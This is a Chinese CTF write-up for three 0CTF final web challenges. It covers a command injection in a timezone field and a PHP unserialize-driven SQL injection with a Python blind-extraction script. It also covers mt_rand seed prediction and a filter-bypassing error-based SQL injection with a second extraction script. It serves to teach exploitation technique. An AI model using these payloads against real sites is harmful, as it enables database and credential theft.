几周前刚刚从0ctf final的现场回来,虽然名词不好,但是收获很多,一直没来得及整理,今天终于整理完了…
AVATAR CENTER 题目很简单,但是刚上手的时候挺萌比的,一共两个功能。
1、修改时区,登陆注册之后有一个修改时区的功能。(盲测讲道理是没什么卵用的) 2、上传头像,这里盲测的结果是没有不会做任何处理,包括文件名和内容,但是头像内容是通过函数返回的,访问getavatar,返回文件内容,没办法找到目录在哪。
研究了一会儿发现这题被秒的差不多了,感觉有忽略的条件,于是扫端口发现2121存在ftp服务,匿名登陆上了服务器,翻了翻拿到了源码。
分析下逻辑主要是这样的。
输入时区必须为6位
1 2 3 4 if (strlen($tz ) != 6 ) { $response ->write ("tz format error" ) return $response }
只要满足6位条件,那么就会传入
1 2 3 public function setTZ ($tz) { exec(sprintf("echo %s > %s%s/TZ" , $tz, $this ->profile_savepath, $this ->getdir())); }
执行命令
但是还有个通用的防御函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function Security () { if (filter_shell($_GET)) die ("Potential Hack" ); if ($_SERVER['REQUEST_METHOD' ] === "POST" ) { if (filter_shell($_POST)) die ("Potential Hack" ); } } function filter_shell ($var) { foreach ($var as $key => $value) { if ( is_array($value) && filter_shell($value)) return true ; if ( preg_match("/[;$`&]/i" , $key . $value)) return true ; } return false ; }
对字符做了部分过滤,虽然这里没必要绕过就可以,但的确是可以绕过的,因为这句$_SERVER['REQUEST_METHOD'] === "POST"
因为这里是全等于,所以可以通过修改request_method的大小写来绕过,导致过滤无用。
这里题目中给了提示,要用readflag命令读flag,那么这里的标准payload就是
由于当前目录刚好是根目录,所以6位刚好执行。
这里也可以使用 escapeshellcmd 不过滤成对的引号的方法,通过sh执行命令,也就是小m的方法,就不赘述了。
uglyweb 说实话应该不是很难的题,但是放到线下花了很多时间,思路还是不太开阔。
整个站没什么功能,除了登陆注册以外,只有两个功能,一个是send,可以给指定的用户发送消息,收到消息的可以阅读(这里存在一个xss),另一个是reset,可以重置密码。
整个题目一共有两个flag,一个flag在数据库,另一个flag在cookie中,是httponly的,由于这是两个题目,所以仔细思考一下,可以猜到两个漏洞分别是什么。
数据库中的flag一定会有一个注入漏洞,而cookie中的flag,只有admin登陆才能看到,没办法通过任何别的方式获取,除非出题人失误,否则不能会出现一个洞打两个flag的情况,所以admin的密码一定不能解开,所以必须重置admin的密码。
回到代码逻辑上来,最重要的文件有几个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 user.class.php <?php class User { var $dbTable = 'users' ; var $sessionVariable = 'userSessionValue' ; var $tbFields = array ( 'userID' => 'userID' , 'login' => 'username' , 'pass' => 'password' , 'email' => 'email' , 'active' => 'active' ); var $displayErrors = false ; var $userID; var $userData=array (); var $remTime = 2592000 ; var $remCookieName = 'ckSavePass' ; var $remCookieDomain = '' ; function __construct () { global $mysqli; if ( !isset ( $_SESSION ) ) session_start(); $this ->dbConn = $mysqli; if ( !empty ($_SESSION[$this ->sessionVariable]) ) { $this ->loadUser( $_SESSION[$this ->sessionVariable] ); } if ( isset ($_COOKIE[$this ->remCookieName]) && !$this ->is_loaded()){ $u = unserialize(base64_decode($_COOKIE[$this ->remCookieName])); $this ->login($u['email' ], $u['password' ]); } } function login ($email, $password, $remember = false, $loadUser = true {) $email = $this ->escape($email); $originalPassword = $password; $password = md5($password); $res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this ->tbFields['email' ]}` = '$email' AND `{$this ->tbFields['pass' ]}` = '$password' LIMIT 1 ",__LINE__); var_dump("SELECT * FROM `{$this->dbTable}` WHERE `{$this ->tbFields['email' ]}` = '$email' AND `{$this ->tbFields['pass' ]}` = '$password' LIMIT 1 "); if ( $res->num_rows == 0 ) return false ; if ( $loadUser ) { $this ->userData = $res->fetch_array(); $this ->userID = $this ->userData[$this ->tbFields['userID' ]]; $_SESSION[$this ->sessionVariable] = $this ->userID; } if ( $remember ){ $cookie = base64_encode(serialize(array ('email' =>$email,'password' =>$originalPassword))); $a = setcookie($this ->remCookieName, $cookie,time()+$this ->remTime, $base_path, $this ->remCookieDomain, false , true ); } return true ; } function logout ($redirectTo = '' ) { $_SESSION[$this ->sessionVariable] = '' ; $this ->userData = '' ; if ( $redirectTo != '' && !headers_sent()){ header('Location: ' .$redirectTo ); exit ; } } function is ($prop) { return $this ->get_property($prop)==1 ?true :false ; } function get_property ($property) { if (empty ($this ->userID)) $this ->error('No user is loaded' , __LINE__ ); if (!isset ($this ->userData[$property])) $this ->error('Unknown property <b>' .$property.'</b>' , __LINE__ ); return $this ->userData[$property]; } function is_active () { return $this ->userData[$this ->tbFields['active' ]]; } function is_loaded () { return empty ($this ->userID) ? false : true ; } function activate () { if (empty ($this ->userID)) $this ->error('No user is loaded' , __LINE__ ); if ( $this ->is_active()) $this ->error('Allready active account' , __LINE__ ); $res = $this->query("UPDATE `{$this->dbTable}` SET {$this->tbFields['active']} = 1 AND `activationHash`='' WHERE `{$this ->tbFields['userID' ]}` = '".$this->escape($this->userID)."' LIMIT 1 "); if ($res->affected_rows == 1 ) { $this ->userData[$this ->tbFields['active' ]] = true ; return true ; } return false ; } function insertUser ($data) { if (!is_array($data)) $this ->error('Data is not an array' , __LINE__ ); $data[$this ->tbFields['pass' ]] = md5($data[$this ->tbFields['pass' ]]); foreach ($data as $k => $v ) $data[$k] = "'" .$this ->escape($v)."'" ; $this ->query("INSERT INTO `{$this->dbTable}` (`" .implode('`, `' , array_keys($data))."`) VALUES (" .implode(", " , $data).")" ); return $this ->dbConn->insert_id; } function randomPass ($length=10 , $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm' ) { for ($i = 0 ; $i < $length; $i++) { $pwd .= $chrs{mt_rand(0 , strlen($chrs)-1 )}; } return $pwd; } function query ($sql, $line = 'Uknown' ) { $res = $this ->dbConn->query($sql); if ( !$res ) $this ->error($this ->dbConn->error, $line); return $res; } function loadUser ($userID) { $res = $this ->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['userID']}` = '" .$this ->escape($userID)."' LIMIT 1" ); if ( $res->num_rows == 0 ) return false ; $this ->userData = $res->fetch_array(); $this ->userID = $userID; $_SESSION[$this ->sessionVariable] = $this ->userID; return true ; } function findUser ($username) { $res = $this ->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['login']}` = '" .$this ->escape($username)."' LIMIT 1" ); if ( $res->num_rows == 0 ) return false ; return $res->fetch_array()['userID' ]; } function escape ($str) { if (is_array($str)) { $str = array_map([&$this , 'escape' ], $str); return $str; } else if (is_string($str)) { return $this ->dbConn->real_escape_string($str); } else if (is_bool($str)) { return ($str === false ) ? 0 : 1 ; } else if ($str === null ) { return 'NULL' ; } return $str; } function error ($error, $line = '' , $die = false) { if ( $this ->displayErrors ) echo '<b>Error: </b>' .$error.'<br /><b>Line: </b>' .($line=='' ?'Unknown' :$line).'<br />' ; if ($die) exit ; return false ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 message.class.php <?php class Message { var $msg = "" ; var $from = "" ; var $to = "" ; var $id = -1 ; function __construct ($from, $to, $msg, $id=-1 ) { global $mysqli; $this ->from = $from; $this ->to = $to; $this ->msg = $msg; $this ->id = $id; } function __toString () { return $this ->msg; } } class MessageManager { function __construct () { global $mysqli; $this ->dbConn = $mysqli; } function send ($message) { $sql = "INSERT INTO `message`(`from`, `to`, `msg`)VALUES('" .$this ->escape($message->from)."', '" .$this ->escape($message->to)."', '" .$this ->escape($message->msg)."')" ; $this ->dbConn->query($sql); return $this ->dbConn->insert_id; } function all ($to) { $sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='" .$this ->escape($to)."'" ; $res = $this ->dbConn->query($sql); $result = array (); while ($res && $message = $res->fetch_array()){ $result[] = new Message($message['from' ], $message['to' ], $message['msg' ], $message['id' ]); } return $result; } function one ($to, $id) { $sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='" .$this ->escape($to)."' and `id`=" .intval($id); $res = $this ->dbConn->query($sql); $result = null ; if ($res && $message = $res->fetch_array()){ $result = new Message($message['from' ], $message['to' ], $message['msg' ], $message['id' ]); } return $result; } function read ($id) { $sql = "UPDATE `message` SET `read`=1 WHERE `id`=" .intval($id); $res = $this ->dbConn->query($sql); } function escape ($str) { if (is_array($str)) { $str = array_map([&$this , 'escape' ], $str); return $str; } else if (is_string($str)) { return $this ->dbConn->real_escape_string($str); } else if (is_bool($str)) { return ($str === false ) ? 0 : 1 ; } else if ($str === null ) { return 'NULL' ; } return $str; } }
ugly01 这里的第一个flag是通过sql注入得到的,其实通审所有源码,不难发现代码中所有进入数据库的语句全部通过了escape函数,我们来看看escape函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function escape ($str) { if (is_array($str)) { $str = array_map([&$this , 'escape' ], $str); return $str; } else if (is_string($str)) { return $this ->dbConn->real_escape_string($str); } else if (is_bool($str)) { return ($str === false ) ? 0 : 1 ; } else if ($str === null ) { return 'NULL' ; } return $str; }
这里过滤了数组、字符串、布尔值、还判断了是不是null,那么没有被过滤的只有一种类型了,就是类。
那么我们回顾一下代码,在登陆逻辑中有个很重要的反序列化。
1 2 3 4 if ( isset ($_COOKIE[$this ->remCookieName]) && !$this ->is_loaded()){ $u = unserialize(base64_decode($_COOKIE[$this ->remCookieName])); $this ->login($u['email' ], $u['password' ]); }
这里的email会代入login函数中,拼接进入sql语句。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function login($email , $password , $remember = false , $loadUser = true {) $email = $this ->escape($email ); $originalPassword = $password ; $password = md5($password ); $res = $this ->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1" ,__LINE__); var_dump("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1" ); if ( $res ->num_rows == 0) return false ; if ( $loadUser ) { $this ->userData = $res ->fetch_array(); $this ->userID = $this ->userData[$this ->tbFields['userID' ]]; $_SESSION [$this ->sessionVariable] = $this ->userID; } if ( $remember ){ $cookie = base64_encode(serialize(array('email' =>$email ,'password' =>$originalPassword ))); $a = setcookie($this ->remCookieName, $cookie ,time()+$this ->remTime, $base_path , $this ->remCookieDomain, false , true ); } return true ; }
只可惜这里也会进入escape函数,那么我就要想办法代入一个类才行,再看看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class Message { var $msg = "" ; var $from = "" ; var $to = "" ; var $id = -1 ; function __construct ($from, $to, $msg, $id=-1 ) { global $mysqli; $this ->from = $from; $this ->to = $to; $this ->msg = $msg; $this ->id = $id; } function __toString () { return $this ->msg; } }
不难发现message中有一个tostring方法,那么思路就很清晰了。
通过设置cookie传入序列化的message类,message->tostring代入email,构成注入
1 2 3 4 5 6 7 8 9 10 11 <?php include 'message.class.php' ; $sql = new Message(); // $sql->msg = 'ddog@ddog.c\' and (select substr(flag,1,1) from flag)=\'f\'#';\ $sql->msg = 'ddog@123\' union select 1,"admin",1,1,1,1#' ; $payload = array ( "email" =>$sql, "password" =>"23333" ); echo base64_encode(serialize($payload)); ?>
这是测试代码,附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #!/usr/bin/env python # -*- coding:utf-8 -*- import requests import base64 # url = "http://127.0.0.1/rsctf/uglyweb/" url = "http://192.168.201.13/" ll = "_{}*1234567890qwertyuiopasdfghjklzxcvbnm" # a:2 :{s:5 :"email" ;O:7 :"Message" :4 :{s:3 :"msg" ;s:38 :"ddog@ddog.c' union select 1,2,3,4,5,6#" ;s:4 :"from" ;N;s:2 :"to" ;N;s:2 :"id" ;i:-1 ;}s:8 :"password" ;s:5 :"23333" ;} payload = "" def attack(url, payload): u1 = url + "send.php" plen = len(payload) payload = 'a:2 :{s:5 :"email" ;O:7 :"Message" :4 :{s:3 :"msg" ;s:'+str(plen)+':"'+payload+'" ;s:4 :"from" ;N;s:2 :"to" ;N;s:2 :"id" ;i:-1 ;}s:8 :"password" ;s:5 :"23333" ;}' # print base64 .b64encode(payload) cookies = {'ckSavePass': base64 .b64encode(payload)} r = requests.get (u1, cookies=cookies) if 'Send Message' in r.text: return True return False flag = "" for i in xrange (40 ): for j in ll: payload = "bsw6b4y5@mail.bccto.me' and (select substr(PASSWORD," +str(i)+",1) from users limit 1)='" +j+"'#" if attack(url, payload): flag +=j print flag break
这里的第二个flag根据出题人说的话,是通过php的mt_rand漏洞来预测随机数,重置admin的密码,get flag2.
但是这其中有一些问题,我们写一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function gencsrftoken ($length=10 , $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm' ) { $csrf = '' ; for ($i = 0 ; $i < $length; $i++) { $csrf .= $chrs{mt_rand(0 , strlen($chrs)-1 )}; } return $csrf; } print gencsrftoken();?>
获得token后,算出随机的数
1 2 3 4 5 6 7 s= "0gdfzw0lcz" chr = "1234567890qwertyuiopasdfghjklzxcvbnm" for i in s: # print i print str (chr.index (i))+" " +str (chr.index (i))+" 0 35" ,
然后使用计算随机数种子的工具http://www.openwall.com/php_mt_seed/README
但是出了一些问题,如果我不指定随机数的种子,这个种子就不可被计算
1 2 3 4 5 6 7 8 9 10 11 lorexxar@ icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 22 22 0 35 31 31 0 35 19 19 0 35 23 23 0 35 33 33 0 35 20 20 0 35 27 27 0 35 4 4 0 35 31 31 0 35 3 3 0 35 Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 Found 0 , trying 33554432 - 67108863 , speed 15606712 seeds per second ^C lorexxar@ icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 9 9 0 35 16 16 0 35 19 19 0 35 12 12 0 35 11 11 0 35 16 16 0 35 20 20 0 35 13 13 0 35 5 5 0 35 20 20 0 35 Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 Found 0 , trying 4261412864 - 4294967295 , speed 20581564 seeds per second Found 0 lorexxar@ icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 9 9 0 35 24 24 0 35 22 22 0 35 23 23 0 35 29 29 0 35 11 11 0 35 9 9 0 35 28 28 0 35 31 31 0 35 29 29 0 35 Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 Found 0 , trying 4261412864 - 4294967295 , speed 20432551 seeds per second Found 0
只有在被指定的情况下,才能跑出种子….出题的大佬说他没测试过题目…
luckygame 题很难,而且完成的要求非常苛刻,这里一步步的解决。
首先是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 <?php session_start(); ?> <!DOCTYPE html > <html > <head > <title > Lucky Game</title > <link rel ="stylesheet" href ="https://fonts.googleapis.com/css?family=Raleway:200" > <link href ="https://fonts.googleapis.com/css?family=Noto+Sans" rel ="stylesheet" > <link rel ="stylesheet" href ="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity ="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin ="anonymous" > <link rel ="stylesheet" href ="https://purecss.io/combo/1.18.13?/css/main-grid.css& /css/main.css& /css/menus.css& /css/rainbow/baby-blue.css" > <style > .header {font-family : 'Noto Sans' , sans-serif;} .header h1 {color : rgb (202 , 60 , 60 );} .button-error {background : rgb (202 , 60 , 60 );} .button-success {background : rgb (28 , 184 , 65 );} </style > </head > <body > <div id ="layout" > <div id ="menu" > <div class ="pure-menu" > <a class ="pure-menu-heading" href ="#" > TCTF</a > </div > </div > <div id ="main" > <div class ="header" > <h1 > 幸运数字</h1 > <h2 > Shall we play a "lucky" game?</h2 > </div > <div class ="content" > <?php ini_set("display_errors" , "On" ); error_reporting(E_ALL | E_STRICT); if (!$link=mysqli_connect('localhost' , 'root' , '' )) die ('Connection error' );if (!mysqli_select_db($link,'luckygame' )) die ('Database error' );$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()" ; $cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()" ; $query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT); $tbls_name = mysqli_fetch_array($query)[0 ]; mysqli_free_result($query); $query = mysqli_query($link,$cols,MYSQLI_USE_RESULT); $cols_name = mysqli_fetch_array($query)[0 ]; mysqli_free_result($query); foreach ($_POST as $k => $v){ if (!empty ($v) && is_string($v)) $_POST[$k] = trim(mysqli_escape_string($link,$v)); else unset ($_POST[$k]); } foreach ($_GET as $k => $v){ if (!empty ($v) && is_string($v)) $_GET[$k] = trim(mysqli_escape_string($link,$v)); else unset ($_GET[$k]); } function filter ($s) { global $tbls_name,$cols_name; $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|" .$tbls_name.'|' .$cols_name; if (preg_match("/{$blacklist}/is" ,$s,$a)) die ($blacklist."\n" .$a[0 ]."\n" .$s."\n" ."<aside>0ops!</aside>" ); return $s; } function register ($username,$password) { global $link; $q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)" , filter($username),filter($password)); if (!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE ; return TRUE ; } function login ($username,$password) { global $link; $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')" , filter($username),filter($password)); if (!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE ; $result = mysqli_fetch_array($query); mysqli_free_result($query); if (count($result)>0 ){ $_SESSION['id' ] = $result['id' ]; $_SESSION['user' ] = $result['username' ]; return TRUE ; } else { unset ($_SESSION['id' ],$_SESSION['user' ]); return FALSE ; } } function user_log ($s) { global $link; $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')" , filter($_SESSION['id' ].'|' .$s)); if (!$query = mysqli_query($link,$q)) return FALSE ; return TRUE ; } function update_point ($p) { global $link; $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d" , $p,$_SESSION['id' ]); if (!$query = mysqli_query($link,$q)) return FALSE ; if (!user_log("Update " .$p)) return FALSE ; return TRUE ; } function my_point () { global $link; $q = sprintf("SELECT * FROM users WHERE username = '%s'" , filter($_SESSION['user' ])); if (!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE ; $result = mysqli_fetch_array($query); mysqli_free_result($query); return (int)($result['points' ]); } switch (@$_GET['action' ]){ case 'register' : if (!empty ($_POST['user' ]) && !empty ($_POST['pass' ])) if (!register($_POST['user' ],$_POST['pass' ])) die ("<aside>Something went wrong!</aside>" ); break ; case 'login' : if (!empty ($_POST['user' ]) && !empty ($_POST['pass' ])) login($_POST['user' ],$_POST['pass' ]); break ; case 'logout' : unset ($_SESSION['user' ],$_SESSION['id' ]); break ; default : break ; } if (empty ($_SESSION['user' ])){ echo <<<EOF <form action="?action=register" method=POST class ="pure -form pure -form -stacked "> <fieldset> <input type=text name=user required placeholder="Username" /> <input type=password name=pass required placeholder="Password" /> <button type="submit" class ="pure -button pure -button -primary ">Register </button > </fieldset> </form> <form action="?action=login" method=POST class ="pure -form pure -form -stacked "> <fieldset> <input type=text name=user required placeholder="Username" /> <input type=password name=pass required placeholder="Password" /> <button type="submit" class ="pure -button pure -button -primary button -success ">Login </button > </fieldset> </form> EOF; die (); } $points = my_point(); if ($points == 1337 ){ user_log('winner' ); echo "<h3>Well played, we will give you a reward soon.</h3>" ; } echo <<<EOF <h1>Hello <a href='?action=logout' >{$_SESSION['user' ]}</a></h1> <h2>You got {$points} points</h2> <form method=GET class ="grid -panel pure -form -aligned pure -form "> <div class ="bet -control pure -control -group "> <label for ="bet-input" > Your bet </label> <input name="bet" id="bet-input" data-content="bet-input" type="number" min="0" max="16" value=1 > </div> <div class ="guess -control pure -control -group "> <label for ="guess-input" > Your guess </label> <input name="guess" id="guess-input" data-content='guess-input' type="number" min="0" value=1 > </div> <button type="submit" class ="pure -button pure -button -primary button -error ">Place </button > </form> EOF; if (!empty ($_REQUEST['bet' ]) && (int)$_REQUEST['bet' ] > 0 && !empty ($_REQUEST['guess' ]) && (int)$_REQUEST['guess' ] > 0 ){ echo "<aside>" ; if ($_REQUEST['bet' ] > $points) die ("What?! you're cheater!" ); $number = rand()%8 ; echo "It is...<h1 style='color:#fff'>" .$number."</h2><br />" ; if ( $number == $_REQUEST['guess' ] ){ echo "You won!" ; if (!update_point($_REQUEST['bet' ])) return ; } else { echo "You lost :(" ; if (!update_point(-$_REQUEST['bet' ])) return ; } echo "</aside>" ; } mysqli_close($link); ?> </div > </div > </div > </body > </html >
先顺序看一遍,很容易发现在注册然后登陆,在获取my_point的时候。
1 2 3 4 5 6 7 8 9 10 function my_point () { global $link; var_dump("SELECT * FROM users WHERE username = '" .filter($_SESSION['user' ])."'" ); $q = sprintf("SELECT * FROM users WHERE username = '%s'" , filter($_SESSION['user' ])); if (!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE ; $result = mysqli_fetch_array($query); mysqli_free_result($query); return (int)($result['points' ]); }
这里从session中获取了user的值,构成了一个二次注入,但是这里有个新的问题,因为题目当中给了数据库结构,我们来看看
1 2 3 4 # CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar (24 ),password varchar (32 ),points int ,UNIQUE KEY(username),PRIMARY KEY (id)); # INSERT INTO users VALUES (1 ,"admin",md5(password_of_admin),10 ); # CREATE TABLE logs(id int NOT NULL ,log varchar (64 ));
user这里只有24位,这也是核心问题所在,我们没办法通过任何方式注入数据。所以我们必须想别的办法。
很快我们都能找到第二个注入在user_log
中,通过更新分数然后进入user_log
,这里有一个insert注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function user_log ($s) { global $link; $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')" , filter($_SESSION['id' ].'|' .$s)); var_dump($q); if (!$query = mysqli_query($link,$q)) return FALSE ; return TRUE ; } function update_point ($p) { global $link; $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d" , $p,$_SESSION['id' ]); if (!$query = mysqli_query($link,$q)) return FALSE ; if (!user_log("Update " .$p)) return FALSE ; var_dump("Ture" ); return TRUE ; }
这下我们有两个注入点了,但是我们遇到了新的问题,如果绕过filter的判断
1 2 3 4 5 6 function filter ($s) { global $tbls_name,$cols_name; $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|" .$tbls_name.'|' .$cols_name; if (preg_match("/{$blacklist}/is" ,$s,$a)) die ($blacklist."\n" .$a[0 ]."\n" .$s."\n" ."<aside>0ops!</aside>" ); return $s; }
这里的主要问题是,如何绕过对表名和列名的判断。
这里用一个黑科技,既然我们可以把admin的密码通过注入来select出来,那么问题就是如何获取这个结果,这里可以使用mysql中的变量。
1 2 SELECT * FROM `users` WHERE username = "admin" into @a,@b,@c,@d;INSERT INTO logs VALUES (id +1 ,'17|Update 1e-1000' in (concat ('123' ,1 /(substr (@c,1 ,1 )='d' ))))
通过构造双语句,构造报错盲注,我们再来看看代码
1 2 3 4 5 6 7 8 9 10 if (xx){ echo "You won!" ; if (!update_point($_REQUEST ['bet' ])) return ; } else { echo "You lost :(" ; if (!update_point(-$_REQUEST ['bet' ])) return ; } echo "</aside>" ;
如果我们构造除0错误,导致insert报错,这样这里就会直接return,如果正常就能输出</aside>
,这样就构成了盲注。
这里使用的还是mysql的长连接特性,这样才能保证@c
在注入的时候仍然存在。
这里我们构造username为
然后构造bet为
1 1e-1000 ' in (concat('123 ',1 /(substr("test" ,1 ,1 )='d'))))#
最后一个坑是php的坑,由于我们在获取my_point的时候遇到了一些问题,因为题目中有个判断。
1 2 3 (int )$_REQUEST['bet' ] > 0 if ($_REQUEST['bet' ] > $points) die ("What?! you're cheater!" );
要满足这个条件,我们需要一些黑科技。
1 2 3 4 5 6 <?php $a=1e-10 ; var_dump((int)$a); var_dump($a>0 ); ?>
当a为1e-10的时候,php的返回是这样的
1 2 3 D:\wamp64\www\test.php:3 :int 0 D:\wamp64\www\test.php:5 :bool ean true
当a为1e-1000的时候,php的返回是这样的
1 2 3 D:\wamp64\www\test.php:3 :int 0 D:\wamp64\www\test.php:5 :bool ean false
这样我们就可以构造出来一个既大于0,又不大于0的值,完成注入。
这里脚本用了小m的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import hashlibfrom string import ascii_letters, digitsimport requestsimport reurl = 'http://127.0.0.1/rsctf/luckygame/' header = {'cookie' : 'PHPSESSID=jja6dabqrsgl8r43t6md3n1o14' } flag = '' exit_flag = False for i in range(1 , 33 ): for j in ascii_letters + digits: payload = "1e-1000' in (concat('123',1/(substr(@c,%d,1)='%s'))))#" % (i, j) while True : print payload res = requests.post(url, data={'guess' :'1' , 'bet' :payload}, headers=header).text if ('won' in res) and ('</aside>' in res): exit_flag = True print i flag += j print flag break ; elif ('won' in res): break else : continue if exit_flag: exit_flag = False break ;